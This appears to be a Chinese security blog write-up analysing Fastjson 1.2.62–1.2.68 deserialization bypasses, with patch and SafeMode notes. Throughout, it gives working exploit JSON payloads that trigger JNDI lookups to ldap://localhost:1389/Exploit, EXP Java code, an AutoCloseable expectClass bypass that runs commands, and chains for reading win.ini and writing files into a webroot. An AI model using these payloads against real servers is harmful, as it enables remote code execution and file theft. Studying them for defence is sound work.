FastJson 1.2.62-1.2.68反序列化漏洞

FastJson 1.2.62-1.2.68反序列化漏洞

今天学习一下FastJson 中 1.2.62 - 1.2.68 的反序列化漏洞,思路的话和之前一样基于黑名单的绕过,但是大部分还是在 AutoType 开启的情况下,且基本都基于存在其他的依赖的条件下

1.2.62 反序列化漏洞

1.2.62 反序列化前提条件

  • 需要开启AutoType
  • FastJson <= 1.2.62
  • JNDI注入可利用的 JDK 版本
  • 目标服务端需要存在xbean-reflect包,xbean-reflect 包的版本不限
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.62</version>
</dependency>
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>4.18</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

漏洞原理分析

逆向分析

漏洞存在在org.apache.xbean.propertyeditor.JndiConverter中的toObjectImpl方法中

但是他不是一个setter或者getter方法

1
2
3
4
5
6
7
8
protected Object toObjectImpl(String text) {
try {
InitialContext context = new InitialContext();
return (Context) context.lookup(text);
} catch (NamingException e) {
throw new PropertyEditorException(e);
}
}

向上找,在AbstractConverter#toObject中调用了该方法

1
2
3
4
5
6
7
8
public final Object toObject(String text) {
if (text == null) {
return null;
}

Object value = toObjectImpl((trim) ? text.trim() : text);
return value;
}

继续找的话,我们找到了一个getter方法和一个setter方法,但似乎这个getter方法并不是一个满足条件的getter方法(无参数),因此我们可以看AbstractConverter中的setAsTest方法

其中setAsTest方法源码如下

1
2
3
4
public final void setAsText(String text) {
Object value = toObject((trim) ? text.trim() : text);
super.setValue(value);
}

正向分析

当我们调用JndiConvertersetAsText方法时,它本身没有该方法,就会调用父类的setAsText

方法,他的父类正好是AbstractConverter

1
public class JndiConverter extends AbstractConverter

这里会调用toObject方法,该方法调用toObject方法,最后toObject调用toObjectImpl方法

1
2
3
4
5
6
7
8
9
10
11
12
13
public final void setAsText(String text) {
Object value = toObject((trim) ? text.trim() : text);
super.setValue(value);
}

public final Object toObject(String text) {
if (text == null) {
return null;
}

Object value = toObjectImpl((trim) ? text.trim() : text);
return value;
}

AbstractConverter中没有toObjectImpl,所以这里调用到JndiConvertertoObjectImpl方法,就触发了JNDI注入

1
2
3
4
5
6
7
8
protected Object toObjectImpl(String text) {
try {
InitialContext context = new InitialContext();
return (Context) context.lookup(text);
} catch (NamingException e) {
throw new PropertyEditorException(e);
}
}

EXP编写

EXP如下,记得要开启AutoType哟
1
2
3
4
5
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String s = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"asText\":\"ldap://127.0.0.1:8085/JlaYFplQ\"}";
JSON.parse(s);
}

运行后

调试分析

我们进入CheckAutoType中,对里面的一些过滤进行以下分析,有以下几个新的限制

  • @type类名长度
  • expectClass参数的类型匹配
  • [检测
  • L检测
  • LL检测
  • 通过计算hash与白名单进行匹配
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
if (typeName == null) {
return null;
}

// 限制了JSON中@type指定的类名长度
if (typeName.length() >= 192 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}

// 单独对expectClass参数进行判断,设置expectClassFlag的值
// 当且仅当expectClass参数不为空且不为Object、Serializable、...等类类型时expectClassFlag才为true
final boolean expectClassFlag;
if (expectClass == null) {
expectClassFlag = false;
} else {
if (expectClass == Object.class
|| expectClass == Serializable.class
|| expectClass == Cloneable.class
|| expectClass == Closeable.class
|| expectClass == EventListener.class
|| expectClass == Iterable.class
|| expectClass == Collection.class
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}

String className = typeName.replace('$', '.');
Class<?> clazz = null;

final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;

// 1.2.43检测,"["
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}

// 1.2.41检测,"Lxx;"
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}

// 1.2.42检测,"LL"
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;

// 对类名进行Hash计算并查找该值是否在INTERNAL_WHITELIST_HASHCODES即内部白名单中,若在则internalWhite为true
boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES,
TypeUtils.fnv1a_64(className)
) >= 0;

继续向下,internalWhite为false , 当我们开启autoTypeSupport时,就会走入下面的逻辑

首先通过hash进行白名单匹配,后续进行黑名单过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (!internalWhite && (this.autoTypeSupport || expectClassFlag)) {
hash = h3;

for(mask = 3; mask < className.length(); ++mask) {
hash ^= (long)className.charAt(mask);
hash *= 1099511628211L;
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, true);
if (clazz != null) {
return clazz;
}
}

if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

因为并没有被黑名单过滤,所以我们走到了这里

autoTypeSupport为true,因此我们不会走到if代码中并抛出异常,而是会走出if判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if (!this.autoTypeSupport) {
hash = h3;

for(mask = 3; mask < className.length(); ++mask) {
char c = className.charAt(mask);
hash ^= (long)c;
hash *= 1099511628211L;
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}

if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, true);
}

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}

我们在后面的代码中就会执行loadClass方法,最后遍历调用setter与getter方法,最终执行恶意代码

1
2
3
4
if (clazz == null && (autoTypeSupport || jsonType || expectClassFlag)) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, cacheClass);
}

补丁

黑名单绕过的补丁都是在新版本中向hash黑名单中添加相应的hash

新版本运行后会抛出以下异常

1
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. org.apache.xbe

1.2.66 反序列化漏洞

1.2.66 反序列化,有着三条Gadget,其原理都为JNDI注入,也需要服务端存在其他依赖

1.2.66反序列化前提条件

  • 开启AutoType;
  • Fastjson <= 1.2.66;
  • JNDI注入利用所受的JDK版本限制;
  • org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包;
  • br.com.anteros.dbcp.AnterosDBCPConfig 类需要 Anteros-Core和 Anteros-DBCP 包;
  • com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包;

Gadget's POC

org.apache.shiro.realm.jndi.JndiRealmFactory

1
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:1389/Exploit"], "Realms":[""]}

br.com.anteros.dbcp.AnterosDBCPConfig

1
2
3
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://localhost:1389/Exploit"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig

1
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://localhost:1389/Exploit"}}

EXP

EXP如下,记得开启AutoTypeSupport

这几个Gadget都十分简单,不在过多分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;

public class EXP_1266 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://localhost:1234/ExportObject\"], \"Realms\":[\"\"]}";
// String poc = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://localhost:1389/Exploit\"}";
// String poc = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"ldap://localhost:1389/Exploit\"}";
// String poc = "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\"," +
// "\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://localhost:1389/Exploit\"}}";
JSON.parse(poc);
}
}

1.2.67反序列化漏洞

1.2.67反序列化前提条件

  • 开启AutoType;
  • Fastjson <= 1.2.67;
  • JNDI注入利用所受的JDK版本限制;
  • org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖;
  • org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖;

Fastjson循环引用

Fastjson支持循环引用,且默认开启

参考如下

https://github.com/alibaba/fastjson/wiki/%E5%BE%AA%E7%8E%AF%E5%BC%95%E7%94%A8

在Fastjson中,向JsonArray类型的对象里面add数据时,如果数据相同,那么就会被替换成$ref,相当于定义了一下以便简化,因为数据也是一样的

$ref即循环引用:当一个对象包含另一个对象时,Fastjson会将$ref解析成引用

语法 描述
{“$ref”:”$”} 引用根对象
{“$ref”:”@”} 引用自己
{“$ref”:”..”} 引用父对象
{“$ref”:”../..”} 引用父对象的父对象
{“$ref”:”$.members[0].reportTo”} 基于路径的引用

那这样就清楚了,org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类PoC中后面那段的{“$ref”:”$.tm”},实际上就是基于路径的引用,相当于是调用root.getTm()函数,进而直接调用了tm字段的getter方法了

Gadget's POC

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup

1
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}

org.apache.shiro.jndi.JndiObjectFactory

1
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}

EXP

EXP如下,其实并没有什么差别,还是那句话,记得开启AutoTypeSupport

这几个Gadget也都十分简单,不在过多分析

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.xml.internal.ws.api.ha.StickyFeature;

public class EXP_1267 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\"," +
" \"jndiNames\":[\"ldap://localhost:1234/ExportObject\"], \"tm\": {\"$ref\":\"$.tm\"}}";
JSON.parse(poc);
}
}

1.2.68反序列化漏洞(expectClass绕过AutoType)

1.2.68反序列化前提条件

  • Fastjson <= 1.2.68
  • 利用类必须是expectClass类的子类或实现类,并且不在黑名单中

绕过

绕过原理

本次绕过的关键处在于checkAutoType()的第二个参数expectClass,我们可以通过构造恶意JSON数据、传入某个类作为exceptClass参数在传入另一个exceptClass的子类或者实现类来实现绕过checkAutoType()函数执行恶意操作

步骤如下:

  • 先传入某个类,其加载成功后作为exceptClass参数传入checkAutoType函数
  • 查找exceptClass类的实现类或者子类,如果在子类或者实现类中其构造方法或者setter方法中存在危险操作即可利用

可行性测试

简单测试一下该绕过方法的可行性
1
2
3
4
5
6
7
8
9
10
11
12
public class FastjsonExcept implements AutoCloseable  {

public FastjsonExcept(String cmd) throws IOException {
Runtime rt = Runtime.getRuntime();
rt.exec(cmd);
}

@Override
public void close() throws Exception {

}
}

POC如下

1
{"@type":"java.lang.AutoCloseable","@type":"com.FastjsonExcept","cmd":"calc"}

可以看到,在无需AutoType的情况下,即可执行

断点调试

我们直接在checkAutoType下断点调试

第一次转入的类是AutoCloseable进行校验,这里我们可以看到expectClass为null

然后从缓存Mapping中直接获取到AutoCloseable,然后对获取的clazz进行了一系列的判断,判断clazz是不是null,以及internalWhite的判断,internalWhite里面的白名单一定是很安全的

后续会出现对expectClass的判断,判断expectClass是否为空,且判断它是否继承HashMap类,若满足情况,则抛出异常,反之则会返回类

1
2
3
4
5
6
7
8
9
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

回到DefaultJSONParser后,获取到clazz后再继续执行,根据AutoCloseable类获取到反序列化器为JavaBeanDeserializer使用该反序列化器进行反序列化操作

继续往里面走,调用JavaBeanDeserializerdeserialze方法,传入的第二个参数type即为AutoCloseable

往下面的逻辑,就是解析后面类的过程。这里看到获取不到对象反序列化器后,就会进入到if的判断中,设置 type 参数即 java.lang.AutoCloseable 类为 checkAutoType() 方法的 expectClass 参数来调用 checkAutoType() 函数来获取指定类型,然后在获取指定的反序列化器

这次我们第二次进入checkAutoType方法,typeName是我们POC中的第二个类,exceptClass参数是POC中指定的第一个类

因为AutoCloseable并不是黑名单中的类,所以expectClassFlag被设置为true

最后走到我们刚刚说的地方,当这个类不在白名单,且autoType开启或者expectClassFlag为true时,即可进入Auto开启时的检测逻辑

往下,由于expectClassFlag为true,进入如下的loadClass()逻辑来加载目标类,但是由于AutoType关闭且jsonType为false,因此调用loadClass()函数的时候是不开启cache即缓存的

跟进该函数中,这里使用AppClassLoader加载 VulAutoCloseable 类并直接返回

往下,判断其是否为jsonType,若true的话直接添加Mapping缓存并返回类,否则接着判断返回的类是否是ClassLoader、DataSource、RowSet等类的子类,是的话直接抛出异常

这也是过滤大多数JNDI注入Gadget的机制

最重点的是以下部分,这里当expectClass不为null时,就会判断我们的clazz是否为expectClass的子类,若它继承与expectClass的话,就会被添加到Mapping缓存中并返回该目标类,反之则抛出异常

这里解释的我们的恶意类必须要继承自expectClass类,只有目标类是expectClass类的子类时,才能通过这里的判断,后续反序列化即可造成恶意代码的执行

小结

在我们的POC中定义了两个@type

第一个type进去什么事情都没有发生,它是作为第二个type类的expectClass传入的,而当第二个type类为第一个type的继承类,且他的setter/getter或构造方法中存在危险方法时,即可被我们利用

实际利用

我实在太菜了,不会自己寻找gadget,这里就直接从别的师傅那里看存在漏洞的地方了 嘤嘤嘤

找到的是IntputStream和OutputStream,他们都是实现自AutoCloseable接口的

复制文件(任意文件读取)

利用类:org.eclipse.core.internal.localstore.SafeFileOutputStream

依赖:

1
2
3
4
5
<dependency>  
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>

我们来看一下SafeFileOutputStream的源代码,在他的构造函数public SafeFileOutputStream(String targetPath, String tempPath)中,若targetPath文件不存在,且tempPath文件存在,就会把tempPath复制到targetPath中

利用其构造函数,我们可以实现特定web场景下的任意文件读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
package org.eclipse.core.internal.localstore;

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import org.eclipse.core.internal.utils.FileUtil;

public class SafeFileOutputStream extends OutputStream {
protected File temp;
protected File target;
protected OutputStream output;
protected boolean failed;
protected static final String EXTENSION = ".bak";

public SafeFileOutputStream(File file) throws IOException {
this(file.getAbsolutePath(), (String)null);
}
// 该构造函数判断如果targetPath文件不存在且tempPath文件存在,就会把tempPath复制到targetPath中
public SafeFileOutputStream(String targetPath, String tempPath) throws IOException {
this.failed = false;
this.target = new File(targetPath);
this.createTempFile(tempPath);
if (!this.target.exists()) {
if (!this.temp.exists()) {
this.output = new BufferedOutputStream(new FileOutputStream(this.target));
return;
}

this.copy(this.temp, this.target);
}

this.output = new BufferedOutputStream(new FileOutputStream(this.temp));
}

public void close() throws IOException {
try {
this.output.close();
} catch (IOException var2) {
IOException e = var2;
this.failed = true;
throw e;
}

if (this.failed) {
this.temp.delete();
} else {
this.commit();
}

}

protected void commit() throws IOException {
if (this.temp.exists()) {
this.target.delete();
this.copy(this.temp, this.target);
this.temp.delete();
}
}

protected void copy(File sourceFile, File destinationFile) throws IOException {
if (sourceFile.exists()) {
if (!sourceFile.renameTo(destinationFile)) {
InputStream source = null;
OutputStream destination = null;

try {
source = new BufferedInputStream(new FileInputStream(sourceFile));
destination = new BufferedOutputStream(new FileOutputStream(destinationFile));
this.transferStreams(source, destination);
((OutputStream)destination).close();
} finally {
FileUtil.safeClose(source);
FileUtil.safeClose(destination);
}

}
}
}

protected void createTempFile(String tempPath) {
if (tempPath == null) {
tempPath = this.target.getAbsolutePath() + ".bak";
}

this.temp = new File(tempPath);
}

public void flush() throws IOException {
try {
this.output.flush();
} catch (IOException var2) {
IOException e = var2;
this.failed = true;
throw e;
}
}

public String getTempFilePath() {
return this.temp.getAbsolutePath();
}

protected void transferStreams(InputStream source, OutputStream destination) throws IOException {
byte[] buffer = new byte[8192];

while(true) {
int bytesRead = source.read(buffer);
if (bytesRead == -1) {
return;
}

destination.write(buffer, 0, bytesRead);
}
}

public void write(int b) throws IOException {
try {
this.output.write(b);
} catch (IOException var3) {
IOException e = var3;
this.failed = true;
throw e;
}
}
}

根据原理来写一个POC

1
2
3
4
5
6
7
public class Fastjson {
public static void main(String[] args) {
// ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String s = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\"tempPath\":\"C://windows/win.ini\",\"targetPath\":\"E:/flag.txt\"}";
JSON.parseObject(s);
}
}

可以看到成功读取文件内容并写入flag.txt

写入文件

利用类:com.esotericsoftware.kryo.io.Output

依赖:

1
2
3
4
5
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>4.0.0</version>
</dependency>

该类写入了提供了setOutputStreamsetBuffer两个setter方法用来写入输入流,其中的buffer参数值是文件内容,outputStream参数值就是前面的SafeFileOutputStream类对象,而要触发写文件操作则需要调用其flush()方法,该方法将流写入一个文件内

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/** Sets a new OutputStream. The position and total are reset, discarding any buffered bytes.
* @param outputStream May be null. */
public void setOutputStream (OutputStream outputStream) {
this.outputStream = outputStream;
position = 0;
total = 0;
}

...

/** Sets the buffer that will be written to. {@link #setBuffer(byte[], int)} is called with the specified buffer's length as the
* maxBufferSize. */
public void setBuffer (byte[] buffer) {
setBuffer(buffer, buffer.length);
}

...

/** Writes the buffered bytes to the underlying OutputStream, if any. */
public void flush () throws KryoException {
if (outputStream == null) return;
try {
outputStream.write(buffer, 0, position);
outputStream.flush();
} catch (IOException ex) {
throw new KryoException(ex);
}
total += position;
position = 0;
}

...

写入文件时,我们就可以考虑写入恶意文件

接下来我们就看,怎么样去触发这个flush函数了,通过查找用法查看,只有在close()require()函数被调用时才会触发,其中require只有在调用write相关函数时才会被触发,存在着链子的思维

我们找到ObjectOutputStream类,其中它的内部类BlockDataOutputStream的构造函数,将OutputStream类型参数赋值给了out成员变量,而其中的setBolockDataMode函数调用了drain方法,drain中又调用了out.write方法,从而调用了flush方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/**  
* Creates new BlockDataOutputStream on top of given underlying stream.
* Block data mode is turned off by default.
*/
BlockDataOutputStream(OutputStream out) {
this.out = out;
dout = new DataOutputStream(this);
}

/**
* Sets block data mode to the given mode (true == on, false == off)
* and returns the previous mode value. If the new mode is the same as
* the old mode, no action is taken. If the new mode differs from the
* old mode, any buffered data is flushed before switching to the new
* mode.
*/
boolean setBlockDataMode(boolean mode) throws IOException {
if (blkmode == mode) {
return blkmode;
}
drain();
blkmode = mode;
return !blkmode;
}

...

/**
* Writes all buffered data from this stream to the underlying stream,
* but does not flush underlying stream.
*/
void drain() throws IOException {
if (pos == 0) {
return;
}
if (blkmode) {
writeBlockHeader(pos);
}
out.write(buf, 0, pos);
pos = 0;
}

对于setBlockDataMode函数的调用,在ObjectOutputStream类的有参构造函数中就存在:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public ObjectOutputStream(OutputStream out) throws IOException {  
verifySubclass();
bout = new BlockDataOutputStream(out);
handles = new HandleTable(10, (float) 3.00);
subs = new ReplaceTable(10, (float) 3.00);
enableOverride = false;
writeStreamHeader();
bout.setBlockDataMode(true);
if (extendedDebugInfo) {
debugInfoStack = new DebugTraceInfoStack();
} else {
debugInfoStack = null;
}
}

但是Fastjson优先获取ObjectOutputStream类的无参构造方法,只能找它的继承类来触发了

我们找到一个只有有参构造方法的类:com.sleepycat.bind.serial.SerialOutput

依赖:

1
2
3
4
5
<dependency>  
<groupId>com.sleepycat</groupId>
<artifactId>je</artifactId>
<version>5.0.73</version>
</dependency>

我们可以看到,它的有参构造方法,是使用了他父类ObjectOutputStream的有参构造方法,这就满足我们之前的要求了

1
2
3
4
5
6
7
8
9
10
public SerialOutput(OutputStream out, ClassCatalog classCatalog)  
throws IOException {

super(out);
this.classCatalog = classCatalog;

/* guarantee that we'll always use the same serialization format */

useProtocolVersion(ObjectStreamConstants.PROTOCOL_VERSION_2);
}

POC如下,用到了Fastjson循环引用的技巧来调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{
"stream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "D:/wamp64/www/hacked.txt",
"tempPath": "D:/wamp64/www/test.txt"
},
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "cHduZWQ=",
"outputStream": {
"$ref": "$.stream"
},
"position": 5
},
"close": {
"@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}

补丁修复

在GitHub官方的diff,主要在ParserConfig.java中:

https://github.com/alibaba/fastjson/compare/1.2.68%E2%80%A61.2.69#diff-f140f6d9ec704eccb9f4068af9d536981a644f7d2a6e06a1c50ab5ee078ef6b4

在expectClass的对比逻辑中,对类名进行了hash处理在比较hash黑名单,并添加了几个类

有人通过彩虹表碰撞,知道了其中新添加的三个类为如下

版本 十进制Hash值 十六进制Hash值 类名
1.2.69 5183404141909004468L 0x47ef269aadc650b4L java.lang.Runnable
1.2.69 2980334044947851925L 0x295c4605fd1eaa95L java.lang.Readable
1.2.69 -1368967840069965882L 0xed007300a7b227c6L java.lang.AutoCloseable

SafeMode

官方的参考:[https://github.com/alibaba/fastjson/wiki/fastjson_safemode](https://github.com/alibaba/fastjson/wiki/fastjson_safemode)

在1.2.68之后的版本中,fastjson添加了safeMode的支持

该参数开启后,完全禁用autoType。所有安全修复版本sec10也支持safeMode配置

代码中开启SafeMode代码如下

1
ParserConfig.getGlobalInstance().setSafeMode(true);

开启之后,就完全禁用AutoType@type了,这样就能防御住Fastjson反序列化漏洞了。具体的处理逻辑,是放在checkAutoType()函数中的前面,获取是否设置了SafeMode,如果是则直接抛出异常终止运行

其他一些绕过黑名单的Gadget

1.2.59

com.zaxxer.hikari.HikariConfig类PoC:
1
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}或{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

1.2.61

org.apache.commons.proxy.provider.remoting.SessionBeanProvider类PoC:
1
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploit","Object":"a"}

1.2.62

org.apache.cocoon.components.slide.impl.JMSContentInterceptor类PoC:
1
{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"}, "namespace":""}

1.2.68

org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig类PoC:
1
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}或{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

com.caucho.config.types.ResourceRef类PoC:

1
{"@type":"com.caucho.config.types.ResourceRef","lookupName": "ldap://localhost:1389/Exploit", "value": {"$ref":"$.value"}}

未知版本

org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory类PoC:
1
{"@type":"org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory", "tmJndiName": "ldap://localhost:1389/Exploit", "tmFromJndi": true, "transactionManager": {"$ref":"$.transactionManager"}}

org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory类PoC:

1
{"@type":"org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory", "tmJndiName": "ldap://localhost:1389/Exploit", "tmFromJndi": true, "transactionManager": {"$ref":"$.transactionManager"}}